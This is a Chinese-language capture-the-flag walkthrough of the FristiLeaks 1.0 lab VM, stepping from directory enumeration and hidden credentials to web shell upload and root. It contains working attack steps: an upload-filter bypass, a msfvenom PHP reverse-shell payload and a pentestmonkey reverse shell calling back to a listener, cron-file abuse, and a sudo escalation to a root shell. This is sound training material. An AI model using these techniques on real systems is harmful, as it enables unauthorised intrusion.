99

0x00 环境搭建

靶机环境:Vmware
mac地址:08:00:27:A5:A6:76
攻击环境: kali、windows10
网络环境:桥接
IP:192.168.1.37

设置网络环境,先设置mac地址,后设置网络环境后,可发现靶机IP

0x02 信息收集

查看首页源代码,发现目标信息,获取root权限

Welcome to #Fristleaks, a quick hackme VM by @Ar0xA
欢迎使用fristleaks,这是一个由@ar0xa提供的快速黑客虚拟机

Goal: get UID 0 (root) and read the special flag file.
目标:获取uid 0(根)并读取特殊标志文件。

Timeframe: should be doable in 4 hours.
时间框架:应该在4小时内完成。


使用dirbuster扫描网站目录,发现robots.txt

robots文件

User-agent: *
Disallow: /cola
Disallow: /sisi
Disallow: /beer

目录

images/ 图片目录
icons/ 图标索引
icons/small/ 目录遍历,全是图片
fristi/

fristi/目录下发现登录框

登录提示密码错误,尝试注入一波
没有注入,查看源代码,发现两段base64字符串

<!-- 
TODO:
We need to clean this up for production. I left some junk in here to make testing easier.

- by eezeepz
-->
iVBORw0KGgoAAAANSUhEUgAAAW0AAABLCAIAAAA04UHqAAAAAXNSR0IArs4c6QAAAARnQU1BAACx
jwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAARSSURBVHhe7dlRdtsgEIVhr8sL8nqymmwmi0kl
S0iAQGY0Nb01//dWSQyTgdxz2t5+AcCHHAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixw
B4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzkCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL5kc+f
m63yaP7/XP/5RUM2jx7iMz1ZdqpguZHPl+zJO53b9+1gd/0TL2Wull5+RMpJq5tMTkE1paHlVXJJ
Zv7/d5i6qse0t9rWa6UMsR1+WrORl72DbdWKqZS0tMPqGl8LRhzyWjWkTFDPXFmulC7e81bxnNOvb
DpYzOMN1WqplLS0w+oaXwomXXtfhL8e6W+lrNdDFujoQNJ9XbKtHMpSUmn9BSeGf51bUcr6W+VjNd
jJQjcelwepPCjlLNXFpi8gktXfnVtYSd6UpINdPFCDlyKB3dyPLpSTVzZYnJR7R0WHEiFGv5NrDU
12qmC/1/Zz2ZWXi1abli0aLqjZdq5sqSxUgtWY7syq+u6UpINdOFeI5ENygbTfj+qDbc+QpG9c5
uvFQzV5aM15LlyMrfnrPU12qmC+Ucqd+g6E1JNsX16/i/6BtvvEQzF5YM2JLhyMLz4sNNtp/pSkg1
04VajmwziEdZvmSz9E0YbzbI/FSycgVSzZiXDNmS4cjCni+kLRnqizXThUqOhEkso2k5pGy00aLq
i1n+skSqGfOSIVsKC5Zv4+XH36vQzbl0V0t9rWb6EMyRaLLp+Bbhy31k8SBbjqpUNSHVjHXJmC2Fg
tOH0drysrz404sdLPW1mulDLUdSpdEsk5vf5Gtqg1xnfX88tu/PZy7VjHXJmC21H9lWvBBfdZb6Ws
30oZ0jk3y+pQ9fnEG4lNOco9UnY5dqxrhk0JZKezwdNwqfnv6AOUN9sWb6UMyR5zT2B+lwDh++Fl
3K/U+z2uFJNWNcMmhLzUe2v6n/dAWG+mLN9KGWI9EcKsMJl6o6+ecH8dv0Uu4PnkqDl2rGuiS8HK
ul9iMrFG9gqa/VTB8qORLuSTqF7fYU7tgsn/4+zfhV6aiiIsczlGrGvGTIlsLLhiPbnh6KnLDU12q
mD+0cKQ8nunpVcZ21Rj7erEz0WqoZ+5IRW1oXNB3Z/vBMWulSfYlm+hDLkcIAtuHEUzu/l9l867X34
rPtA6lmLi0ZrqX6gu37aIukRkVaylRfqpk+9HNkH85hNocTKC4P31Vebhd8fy/VzOTCkqeBWlrrFhe
EPdMjO3SSys7XVF+qmT5UcmT9+Ss//fyyOLU3kWoGLd59ZKb6Us10IZMjAP5b5AgAL3IEgBc5AsCLH
AHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixwB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzk
CwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL3IEgBc5AsCLHAHgRY4A8Pn9/QNa7zik1qtycQAAAABJR
U5ErkJggg==

使用base64解码是png图片格式,复制baese64字符,在kali下操作

base64 -d 12.txt
base64 -d 12.txt > 12.png


打开图片发现一串字符,由此得知,注释是由eezeepz写的,密码则是图片中的字符

eezeepz:keKkeKKeKKeKkEkkEk

PS:经测试两串base64编码通过此方法转换出来的图片都是一样的.

0x02 获取webshell

登录后发现上传点,上传php文件,使用截断,服务端绕过方式失败。。最后发现就加.png可以上传,使用蚁剑连接成功。。

执行命令,尝试提权

0x03 提权

查看eezeepz目录,发现有一个文本文件

Yo EZ,

I made it possible for you to do some automated checks,
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/

Don't forget to specify the full path for each binary!

Just put a file called "runthis" in /tmp/, each line one command. The
output goes to the file "cronresult" in /tmp/. It should
run every minute with my account privileges.

- Jerry

翻译下

需要在tmp目录下建立runthis文件,并且写入命令,文件会在定时执行。。

echo "/usr/bin/../../bin/chmod -R 777 /home/admin" > /tmp/runthis

失败了,未创建成功。

使用脏牛提权,一直编译不成功.

猜测菜刀的shell问题,使用msf反弹shell

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.23 LPORT=4444 -f raw >1.php

kali监听,shell上传到靶机中,访问后成功反弹

python -c 'import pty;pty.spawn("/bin/bash")' 反弹一个回显终端

技术有点菜。。没有回显一个窗口回来,显示是反弹回来了。。尝试文章中的方法

下载php-反向壳

http://pentestmonkey.net/tools/web-shells/php-reverse-shell

修改php文件,设置ip和端口。
本地监听使用nc监听,shell上传到靶机中,这回反弹成功了

查看/home/admin下文件
发现两个文本文件和一个py文件

重写python代码

#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys

def encodeString(str):
base64string= base64.b64encode(str)
return codecs.encode(base64string[::-1], 'rot13')

def decodeString(str):
string = str[::-1]
string = string.encode("rot13")
return base64.b64decode(string)

print decodeString(sys.argv[1])

查看两个文本文件的内容得到两串字符串

cat cryptedpass.txt
mVGZ3O3omkJLmy2pcuTq
解密:thisisalsopw123

cat whoisyourgodnow.txt
=RFn0AKnlMHMPIzpyuTI0ITG
解密:LetThereBeFristi!

测试账户:fristigod
密码:LetThereBeFristi!
登录成功

使用sudo -l 提权到root,爆出错误

提示需要运行doCom文件,运行报错

使用以下命令可执行文件

sudo -u fristi ./doCom /bin/sh

提权成功,cd到root目录下,查看flag文件
fristileaks_secrets.txt

Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]

I wonder if you beat it in the maximum 4 hours it's supposed to take!

Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)

Flag: Y0u_kn0w_y0u_l0ve_fr1st1

通关成功!!!

0x04 总结

1、脏牛提权。。看靶机内核是存在脏牛漏洞的,但是找了几个exp都无法编译成功。
2、反弹shell,这里反弹似乎只能使用反向反弹shell,用之前的几种方法都失败了,这是个盲区。
3、python代码这里出问题,把解密函数写成了加密函数,所以老是报错。
做完感觉真的不容易,整个靶机做下来基本都是跟着文章走的,还走了不少岔路。磕磕绊绊的终于是做完了。。